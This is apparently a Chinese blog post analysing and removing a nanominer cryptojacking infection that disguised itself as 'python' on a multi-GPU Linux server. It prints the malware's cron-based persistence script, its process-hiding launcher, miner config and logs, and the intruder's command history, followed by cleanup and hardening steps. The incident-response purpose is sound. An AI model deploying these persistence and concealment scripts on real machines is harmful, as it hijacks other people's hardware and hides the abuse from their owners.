病毒表現(xiàn)
gpustat -cpu
可以看到root用戶將GPU的核心跑滿了每個占用都是100%,顯存吃了6G多。
nvidia-smi
不能正常顯示GPU被哪些進(jìn)程占用
病毒文件分析
在/tmp/.x/目錄中
總結(jié):
amdmemtweak: 優(yōu)化顯存時序,提高挖礦效能
config.ini: 挖礦配置文件
doos.pid: 挖礦進(jìn)程的pid號
logs: 挖礦病毒的輸出log
nanominer: 3.7.7-linux版本的挖礦病毒,這個不能跑
python: 偽裝從python的3.7.7-cuda11-linux版本的挖礦病毒,這個可以跑
null: 執(zhí)行Python.cfg文件
Python.cfg: 病毒運行的關(guān)鍵shell命令,設(shè)置定時任務(wù),執(zhí)行挖礦病毒程序
run: 調(diào)用top運行挖礦病毒python并偽裝,隱藏輸出信息
top: 就是ubuntu系統(tǒng)管理查看進(jìn)程的命令
運行順序為:
null>Python.cfg>run
nul調(diào)用Python.cfg shell命令腳本, Python.cfg腳本
config.ini
文件內(nèi)容:配置文件
[Octopus]
wallet=cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
coin=CFX
rigName=E1
pool1 = 10.115.10.129:5353
email=bashirc@hotmail.com
Python.cfg
文件內(nèi)容:病毒的shell命令
#!/bin/sh
pwd > new.dir
dir=$(cat new.dir)
echo "* * * * * $dir/nano.backup >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep nano.backup
echo "#!/bin/sh
if test -r $dir/doos.pid; then
pid=\$(cat $dir/doos.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > nano.backup
chmod u+x nano.backup
./run
這些命令的大概作用是:
- pwd > new.dir :將當(dāng)前目錄的路徑寫入到 new.dir 文件中。
- dir=$(cat new.dir) :讀取 new.dir 文件的內(nèi)容,將其保存為 dir 變量。
- echo “* * * * * $dir/nano.backup >/dev/null 2>&1” > cron.d :將一個cron任務(wù)的設(shè)置寫入到 cron.d 文件中,該任務(wù)會每分鐘執(zhí)行 nano.backup 腳本文件,其中標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯誤輸出都被重定向到 /dev/null 中。
- crontab cron.d :將 cron.d 文件導(dǎo)入到cron中,即將新的cron任務(wù)加入到系統(tǒng)中。
- crontab -l | grep nano.backup :查看cron任務(wù)列表,確認(rèn) nano.backup 腳本已經(jīng)加入到了cron中。
- echo "#!/bin/sh… :將一段shell腳本保存成 nano.backup 腳本文件,這段腳本會根據(jù)指定的pid文件和路徑信息執(zhí)行 run 腳本,并將標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯誤輸出都重定向到 /dev/null 。
- 檢查pid文件是否存在并且可讀( test -r $dir/doos.pid ),如果存在則將pid文件中的進(jìn)程號讀取出來( pid=$(cat $dir/doos.pid) )。
- 判斷讀取的進(jìn)程號是否存在( if $(kill -CHLD $pid >/dev/null 2>&1) ),如果存在則向該進(jìn)程發(fā)送 SIGCHLD 信號(通過 kill 命令實現(xiàn)),然后退出腳本( exit 0 )。
- 如果上述判斷失敗,則進(jìn)入到 $dir 目錄中( cd $dir ),并執(zhí)行 run 腳本( ./run ),將標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯誤輸出都重定向到 /dev/null 中( &>/dev/null )。
具體來看,這段腳本的作用是檢測應(yīng)用程序是否已經(jīng)在運行,如果已經(jīng)在運行,則不會重啟程序;如果未運行,則重啟程序。該腳本通過讀取 $dir/doos.pid 文件中的進(jìn)程號,然后向該進(jìn)程發(fā)送 SIGCHLD 信號,如果發(fā)送成功,則說明該進(jìn)程存在,已經(jīng)在運行中,此時腳本會直接退出。反之,則認(rèn)為該進(jìn)程不存在,需要啟動應(yīng)用程序。最后,該腳本還將標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯誤輸出都重定向到 /dev/null 中,以屏蔽應(yīng)用程序的輸出信息。
- chmod u+x nano.backup :將 nano.backup 文件設(shè)置為可執(zhí)行文件。
- ./run :執(zhí)行 run 腳本,啟動應(yīng)用程序。
執(zhí)行結(jié)果:
這里都直說了Fakename: python
run
#!/bin/bash
ARCH=`uname -m`
HIDE="python"
./top -s $HIDE ./python >>/dev/null &
echo $! > doos.pid
- 獲取當(dāng)前系統(tǒng)的機(jī)器架構(gòu),并將其保存在 ARCH 變量中。
- 設(shè)置一個 HIDE 變量,其值為 python ,表示需要隱藏執(zhí)行 ./python 命令的輸出。
- 使用 ./top 命令啟動 ./python 進(jìn)程,并將標(biāo)準(zhǔn)輸出重定向到 /dev/null 中。命令中的 & 表示將進(jìn)程放到后臺運行。
- 將 ./python 進(jìn)程的進(jìn)程ID保存到 doos.pid 文件中, $! 表示獲取最近一個在后臺運行的進(jìn)程的進(jìn)程ID。這個文件的作用應(yīng)該是用于后續(xù)檢查應(yīng)用程序是否已經(jīng)在運行中
nanominer
這個nanominer反而不能跑成功,提示
2023-May-18 18:48:36: This is the wrong version of nanominer for device #0.
Need to download the 3.7.7-cuda11 version to work on device #0.
_ __ __ _ _ __ ___ _ __ ___ (_)_ __ ___ _ __
| '_ \ / _` | '_ \ / _ \| '_ ` _ \| | '_ \ / _ \ '__|
| | | | (_| | | | | (_) | | | | | | | | | | __/ |
|_| |_|\__,_|_| |_|\___/|_| |_| |_|_|_| |_|\___|_|
Version 3.7.7-linux
2023-May-18 18:48:30: Started EthMan server on port 3333 without a password (read-only mode).
2023-May-18 18:48:30: Started web interface on port 9090 without a password.
2023-May-18 18:48:30: CUDA driver version is 11.7, runtime version is 10.0
2023-May-18 18:48:30: NVIDIA driver version: 515.48.07
Detected 8 devices
GPU 0 PCI 1a:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 1 PCI 1b:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 2 PCI 3d:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 3 PCI 3e:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 4 PCI 88:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 5 PCI 89:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 6 PCI b1:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 7 PCI b2:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
------------------Octopus:------------------
Currency: Conflux
Wallet: cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
Rig name: E1
Email: bashirc@hotmail.com
Hashrate threshold to restart miner is not set
Number of rejected shares per hour to restart miner is not set
Added pool: 10.115.10.129:5353
Auto pool sorting is disabled
Using all GPU devices
-------------Common parameters:-------------
Log path: ./logs/
Log is written to file
GPU watchdog is enabled
Never calling reboot.sh (always restarting the miner in case of errors).
2023-May-18 18:48:31: Setting up algorithm: Octopus
2023-May-18 18:48:36: This is the wrong version of nanominer for device #0.
Need to download the 3.7.7-cuda11 version to work on device #0.
2023-May-18 18:48:41: This is the wrong version of nanominer for device #1.
Need to download the 3.7.7-cuda11 version to work on device #1.
2023-May-18 18:48:46: This is the wrong version of nanominer for device #2.
Need to download the 3.7.7-cuda11 version to work on device #2.
2023-May-18 18:48:51: This is the wrong version of nanominer for device #3.
Need to download the 3.7.7-cuda11 version to work on device #3.
2023-May-18 18:48:56: This is the wrong version of nanominer for device #4.
Need to download the 3.7.7-cuda11 version to work on device #4.
2023-May-18 18:49:01: This is the wrong version of nanominer for device #5.
Need to download the 3.7.7-cuda11 version to work on device #5.
2023-May-18 18:49:06: This is the wrong version of nanominer for device #6.
Need to download the 3.7.7-cuda11 version to work on device #6.
2023-May-18 18:49:11: This is the wrong version of nanominer for device #7.
Need to download the 3.7.7-cuda11 version to work on device #7.
2023-May-18 18:49:11: Connecting to pools...
2023-May-18 18:49:11: No GPU devices to run on, exiting.
python
這個python其實才是真正挖礦的程序
_ __ __ _ _ __ ___ _ __ ___ (_)_ __ ___ _ __
| '_ \ / _` | '_ \ / _ \| '_ ` _ \| | '_ \ / _ \ '__|
| | | | (_| | | | | (_) | | | | | | | | | | __/ |
|_| |_|\__,_|_| |_|\___/|_| |_| |_|_|_| |_|\___|_|
Version 3.7.7-cuda11-linux
2023-May-18 18:53:08: Started EthMan server on port 3333 without a password (read-only mode).
2023-May-18 18:53:08: Started web interface on port 9090 without a password.
2023-May-18 18:53:08: CUDA driver version is 11.7, runtime version is 11.1
2023-May-18 18:53:08: NVIDIA driver version: 515.48.07
Detected 8 devices
GPU 0 PCI 1a:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 1 PCI 1b:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 2 PCI 3d:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 3 PCI 3e:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 4 PCI 88:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 5 PCI 89:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 6 PCI b1:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 7 PCI b2:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
------------------Octopus:------------------
Currency: Conflux
Wallet: cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
Rig name: E1
Email: bashirc@hotmail.com
Hashrate threshold to restart miner is not set
Number of rejected shares per hour to restart miner is not set
Added pool: 10.115.10.129:5353
Auto pool sorting is disabled
Using all GPU devices
-------------Common parameters:-------------
Log path: ./logs/
Log is written to file
GPU watchdog is enabled
Never calling reboot.sh (always restarting the miner in case of errors).
2023-May-18 18:53:08: Setting up algorithm: Octopus
2023-May-18 18:53:09: Connecting to pools...
2023-May-18 18:53:10: Connected to pool: 10.115.10.129:5353
2023-May-18 18:53:11: New job from 10.115.10.129:5353 | share difficulty = 2 GH, epoch 136 (6271 MB)
2023-May-18 18:53:11: New job from 10.115.10.129:5353
2023-May-18 18:53:12: New job from 10.115.10.129:5353
2023-May-18 18:53:13: New job from 10.115.10.129:5353
2023-May-18 18:53:14: New job from 10.115.10.129:5353
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:15: GPU7: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU2: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: GPU6: 6271 MB DAG generated in 2.88 seconds
2023-May-18 18:53:15: GPU4: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU3: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU0: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU5: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: GPU1: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:17: New job from 10.115.10.129:5353
2023-May-18 18:53:17: New job from 10.115.10.129:5353
2023-May-18 18:53:18: New job from 10.115.10.129:5353
2023-May-18 18:53:20: New job from 10.115.10.129:5353
2023-May-18 18:53:22: New job from 10.115.10.129:5353
2023-May-18 18:53:22: New job from 10.115.10.129:5353
2023-May-18 18:53:23: Conflux - SHARE FOUND (GPU: 5, nonce: 0xcf49525435089c3e).
2023-May-18 18:53:23: New job from 10.115.10.129:5353
Conflux: share accepted (433 ms)!
2023-May-18 18:53:23: Conflux - SHARE FOUND (GPU: 2, nonce: 0xcc4ac5380181a83b).
Conflux: share accepted (480 ms)!
2023-May-18 18:53:25: New job from 10.115.10.129:5353
2023-May-18 18:53:25: Conflux - SHARE FOUND (GPU: 7, nonce: 0x3e7b767456ac78fd).
Conflux: share accepted (478 ms)!
2023-May-18 18:53:27: Conflux - SHARE FOUND (GPU: 1, nonce: 0x744adc98b65cbe5a).
2023-May-18 18:53:27: New job from 10.115.10.129:5353
Conflux: share accepted (467 ms)!
2023-May-18 18:53:27: Conflux - SHARE FOUND (GPU: 4, nonce: 0x497dd46efd87caba).
Conflux: share accepted (461 ms)!
2023-May-18 18:53:28: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:32: New job from 10.115.10.129:5353
2023-May-18 18:53:32: New job from 10.115.10.129:5353
2023-May-18 18:53:33: New job from 10.115.10.129:5353
2023-May-18 18:53:33: New job from 10.115.10.129:5353
2023-May-18 18:53:35: Conflux - SHARE FOUND (GPU: 5, nonce: 0xab25c4cdb489e49f).
Conflux: share accepted (442 ms)!
2023-May-18 18:53:37: New job from 10.115.10.129:5353
2023-May-18 18:53:37: New job from 10.115.10.129:5353
2023-May-18 18:53:38: New job from 10.115.10.129:5353
Conflux - Total speed: 695.137 MH/s, Total shares: 6 Rejected: 0, Time: 00:30
Conflux: GPU 0 89.900 MH/s, GPU 1 87.289 MH/s, GPU 2 88.755 MH/s, GPU 3 86.367 MH/s, GPU 4 83.192 MH/s, GPU 5 88.340 MH/s, GPU 6 84.940 MH/s, GPU 7 86.353 MH/s
GPU0 t=54°C fan 31% power 340.16W, GPU1 t=55°C fan 32% power 340.58W, GPU2 t=49°C fan 30% power 341.03W, GPU3 t=53°C fan 31% power 331.94W, GPU4 t=48°C fan 30% power 322.81W, GPU5 t=56°C fan 32% power 343.67W, GPU6 t=52°C fan 31% power 341.52W, GPU7 t=53°C fan 31% power 343.03W. Total power: 2704.74W
amdmemtweak
作用:優(yōu)化顯存時序,提高挖礦效能
參考:專注AMD顯卡顯存超頻:愛好者自制 AMD Memory Tweak 軟件
AMD Memory Tweak
Read and modify memory timings on the fly
By Eliovp & A.Solodovnikov
Global command line options:
--help|--h Show this output
--version|--v Show version info
--gpu|--i [comma-separated gpu indices] Selected device(s)
--current|--c List current timing values
Command line options: (HBM2)
--CL|--cl [value]
--RAS|--ras [value]
--RCDRD|--rcdrd [value]
--RCDWR|--rcdwr [value]
--RC|--rc [value]
--RP|--rp [value]
--RRDS|--rrds [value]
--RRDL|--rrdl [value]
--RTP|--rtp [value]
--FAW|--faw [value]
--CWL|--cwl [value]
--WTRS|--wtrs [value]
--WTRL|--wtrl [value]
--WR|--wr [value]
--RREFD|--rrefd [value]
--RDRDDD|--rdrddd [value]
--RDRDSD|--rdrdsd [value]
--RDRDSC|--rdrdsc [value]
--RDRDSCL|--rdrdscl [value]
--WRWRDD|--wrwrdd [value]
--WRWRSD|--wrwrsd [value]
--WRWRSC|--wrwrsc [value]
--WRWRSCL|--wrwrscl [value]
--WRRD|--wrrd [value]
--RDWR|--rdwr [value]
--REF|--ref [value]
--MRD|--mrd [value]
--MOD|--mod [value]
--XS|--xs [value]
--XSMRS|--xsmrs [value]
--PD|--pd [value]
--CKSRE|--cksre [value]
--CKSRX|--cksrx [value]
--RFCPB|--rfcpb [value]
--STAG|--stag [value]
--XP|--xp [value]
--CPDED|--cpded [value]
--CKE|--cke [value]
--RDDATA|--rddata [value]
--WRLAT|--wrlat [value]
--RDLAT|--rdlat [value]
--WRDATA|--wrdata [value]
--CKESTAG|--ckestag [value]
--RFC|--rfc [value]
Command line options: (HBM)
--DAT_DLY0|1|2|3 | --dat_dly0|1|2|3 [value]
--DQS_DLY0|1|2|3 | --dqs_dly0|1|2|3 [value]
--DQS_XTR0|1|2|3 | --dqs_xtr0|1|2|3 [value]
--OEN_DLY0|1|2|3 | --oen_dly0|1|2|3 [value]
--OEN_EXT0|1|2|3 | --oen_ext0|1|2|3 [value]
--OEN_SEL0|1|2|3 | --oen_sel0|1|2|3 [value]
--CMD_DLY0|1|2|3 | --cmd_dly0|1|2|3 [value]
--ADR_DLY0|1|2|3 | --adr_dly0|1|2|3 [value]
--CKSRE|--cksre [value]
--CKSRX|--cksrx [value]
--CKE_PULSE|--cke_pulse [value]
--CKE|--cke [value]
--SEQ_IDLE|--seq_idle [value]
--CL|--cl [value]
--W2R|--w2r [value]
--R2R|--r2r [value]
--CCDL|--ccdl [value]
--R2W|--r2w [value]
--NOPR|--nopr [value]
--NOPW|--nopw [value]
--RCDW|--rcdw [value]
--RCDWA|--rcdwa [value]
--RCDR|--rcdr [value]
--RCDRA|--rcdra [value]
--RRD|--rrd [value]
--RC|--rc [value]
--MRD|--mrd [value]
--RRDL|--rrdl [value]
--RFC|--rfc [value]
--TRP|--trp [value]
--RP_WRA|--rp_wra [value]
--RP_RDA|--rp_rda [value]
--WDATATR|--wdatatr [value]
--T32AW|--t32aw [value]
--CRCWL|--crcwl [value]
--CRCRL|--crcrl [value]
--FAW|--faw [value]
--PA2WDATA|--pa2wdata [value]
--PA2RDATA|--pa2rdata [value]
--DBR|--dbr [value]
--DBW|--dbw [value]
--TCSR|--tcsr [value]
--DQR|--dqr [value]
--DQW|--dqw [value]
--ADD_PAR|--add_par [value]
--TM|--tm [value]
--WR|--wr [value]
--NDS|--nds [value]
--WL|--wl [value]
--RL|--rl [value]
--APRAS|--apras [value]
--BG|--bg [value]
--BL|--bl [value]
--REF|--ref [value]
--ENB|--enb [value]
--CNT|--cnt [value]
--TRC|--trc [value]
--THRESH|--thresh [value]
--LEVEL|--level [value]
--PWRDOWN|--pwrdown [value]
--SHUTDOWN|--shutdown [value]
--EN_SHUTDOWN|--en_shutdown [value]
--OVERSAMPLE|--oversample [value]
--AVG_SAMPLE|--avg_sample [value]
Command line options: (GDDR5)
--DAT_DLY0|1 | --dat_dly0|1 [value]
--DQS_DLY0|1 | --dqs_dly0|1 [value]
--DQS_XTR0|1 | --dqs_xtr0|1 [value]
--DAT_2Y_DLY0|1 | --dat_2y_dly0|1 [value]
--ADR_2Y_DLY0|1 | --adr_2y_dly0|1 [value]
--CMD_2Y_DLY0|1 | --cmd_2y_dly0|1 [value]
--OEN_DLY0|1 | --oen_dly0|1 [value]
--OEN_EXT0|1 | --oen_ext0|1 [value]
--OEN_SEL0|1 | --oen_sel0|1 [value]
--ODT_DLY0|1 | --odt_dly0|1 [value]
--ODT_EXT0|1 | --odt_ext0|1 [value]
--ADR_DLY0|1 | --adr_dly0|1 [value]
--CMD_DLY0|1 | --cmd_dly0|1 [value]
--CKSRE|--cksre [value]
--CKSRX|--cksrx [value]
--CKE_PULSE|--cke_pulse [value]
--CKE|--cke [value]
--SEQ_IDLE|--seq_idle [value]
--CL|--cl [value]
--W2R|--w2r [value]
--R2R|--r2r [value]
--CCDL|--ccdl [value]
--R2W|--r2w [value]
--NOPR|--nopr [value]
--NOPW|--nopw [value]
--RCDW|--rcdw [value]
--RCDWA|--rcdwa [value]
--RCDR|--rcdr [value]
--RCDRA|--rcdra [value]
--RRD|--rrd [value]
--RC|--rc [value]
--RFC|--rfc [value]
--TRP|--trp [value]
--RP_WRA|--rp_wra [value]
--RP_RDA|--rp_rda [value]
--WDATATR|--wdatatr [value]
--T32AW|--t32aw [value]
--CRCWL|--crcwl [value]
--CRCRL|--crcrl [value]
--FAW|--faw [value]
--PA2WDATA|--pa2wdata [value]
--PA2RDATA|--pa2rdata [value]
--WL|--wl [value]
--MR0_CL|--mr0_cl [value]
--TM|--tm [value]
--WR|--wr [value]
--DS|--ds [value]
--DT|--dt [value]
--ADR|--adr [value]
--CAL|--cal [value]
--PLL|--pll [value]
--RDBI|--rdbi [value]
--WDBI|--wdbi [value]
--ABI|--abi [value]
--RESET|--reset [value]
--SR|--sr [value]
--WCK01|--wck01 [value]
--WCK23|--wck23 [value]
--WCK2CK|--wck2ck [value]
--RDQS|--rdqs [value]
--INFO|--info [value]
--WCK2|--wck2 [value]
--BG|--bg [value]
--EDCHP|--edchp [value]
--CRCWL|--crcwl [value]
--CRCRL|--crcrl [value]
--RDCRC|--rdcrc [value]
--WRCRC|--wrcrc [value]
--EDC|--edc [value]
--RAS|--ras [value]
--CLEHF|--clehf [value]
--WREHF|--wrehf [value]
--ACTRD|--actrd [value]
--ACTWR|--actwr [value]
--RASMACTRD|--rasmactrd [value]
--RASMACWTR|--rasmacwtr [value]
--RAS2RAS|--ras2ras [value]
--RP|--rp [value]
--WRPLUSRP|--wrplusrp [value]
--BUS_TURN|--bus_turn [value]
--REF|--ref [value]
--TWT2RT|--twt2rt [value]
--TARF2T|--tarf2t [value]
--TT2ROW|--tt2row [value]
--TLD2LD|--tld2ld [value]
HBM2 Example usage: ./amdmemtool --i 0,3,5 --faw 12 --RFC 208
HBM Example usage: ./amdmemtool --i 6 --ref 13
GDDR5 Example usage: ./amdmemtool --i 1,2,4 --RFC 43 --ras2ras 176
Make sure to run the program first with parameter --current to see what the current values are.
Current values may change based on state of the GPU,
in other words, make sure the GPU is under load when running --current
HBM2 Based GPU's do not need to be under load to apply timing changes.
Hint: Certain timings such as CL (Cas Latency) are stability timings, lowering these will lower stability.
病毒查殺
1、查看文件創(chuàng)建者和創(chuàng)建日期
cd /tmp/.x
ll
發(fā)現(xiàn)是root在2:00創(chuàng)建的
2、查看哪個用戶在哪個時間登錄了服務(wù)器
last
果然是有一系列IP以root身份登錄系統(tǒng),其中2:00登錄的10.115.10.129和挖礦病毒log里的IP也對的上(New job from 10.115.10.129:5353)
3、刪除病毒文件
- 刪除病毒臨時文件
sudo rm -r /tmp/.x
- 病毒的實際文件位置
待補(bǔ)充方法
4、修改root密碼
sudo passwd root
5、禁用root ssh遠(yuǎn)程登錄
sudo vim /etc/ssh/sshd_config
# 設(shè)置: PermitRootLogin no
# 重啟生效
service sshd restart
6、禁用IP和端口
方法1:iptables
- ??端口
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 5053 -j DROP
- ??IP
iptables -I INPUT -s 10.115.10.129 -j DROP
- 保存配置
sudo service iptables save
實測這條命令行不通,報錯:iptables: unrecognized service
下面這條可以
sudo iptables-save
方法2:ufw
UFW (Uncomplicated Firewall)是Ubuntu 自帶的防火墻配置工具 。UFW 是一個用來管理 iptables 防火墻規(guī)則的用戶友好的前端工具。它的主要目的就是為了使得管理 iptables 更簡單。
Ubuntu安裝完畢,默認(rèn)沒有啟動ufw。所以如果直接運行上述語句,那么它啟動后就會使用默認(rèn)規(guī)則,禁止一切流量,包括SSH的22端口,如果本來就是在SSH上遠(yuǎn)程操作,那么悲劇了,所以要先啟用SSH的端口(默認(rèn)是22,如果你設(shè)置了其他端口就加上去)
sudo ufw allow 22
sudo ufw reject 80 #(拒絕,直接返回:Connection refused)
sudo ufw deny 5053 #(否認(rèn),過段時間后返回:Connection timed out)
sudo ufw enable
sudo ufw status
參考:
Linux下iptables屏蔽IP和端口號
如何在 Ubuntu 20.04 上使用 UFW 來設(shè)置防火墻
Ubuntu 18.04 防火墻設(shè)置ufw詳解
Ubuntu自帶防火墻ufw配置和用法
7、清除定時任務(wù)crontab
crontab -l
crontab -l -u username #查看某個用戶的定時任務(wù)
crontab -r
8、修改amax用戶密碼or直接刪除amax用戶
只修改root密碼后發(fā)現(xiàn)這B又改用amax登錄
在amax用戶目錄發(fā)現(xiàn)以下文件
查看bash_history,這B執(zhí)行的命令,因為amax用戶密碼是初始密碼,所以這B可以用sudo su輸入amax密碼就能切換到root用戶,真該死啊。但這么看下來,這個病毒操縱者的操作也蠻常規(guī),還是得用已知的密碼登錄到服務(wù)器才行。那我把密碼改了,甚至禁用密碼登錄,我看你怎么辦,該死的畜生啊。
sudo su
w
ls
nv
cd /tmp
cd .x
ls
ls -a
tar xzvf x
cd .x
ls
./python
w
ls
nv
cd /tmp
cd .x
ls
w
sudo su
tar xzvf x
原來tmp目錄里還有一個壓縮包: x
解壓一下正是病毒工作目錄
把它也刪除了
sudo rm -r x
刪除amax用戶
sudo userdel amax
amax有進(jìn)程在跑,就直接kill了文章來源:http://www.zghlxwxcb.cn/news/detail-628574.html
9、禁用密碼登錄,使用密鑰登錄,以絕后患
參考鏈接:【Linux】ubuntu設(shè)置ssh密鑰登錄詳細(xì)教程,附Mobaxterm和pycharm ssh python解釋器配置教程文章來源地址http://www.zghlxwxcb.cn/news/detail-628574.html
到了這里,關(guān)于【linux】挖礦病毒nanominer偽裝成python占用服務(wù)器GPU!本文帶你分析并殺毒!的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!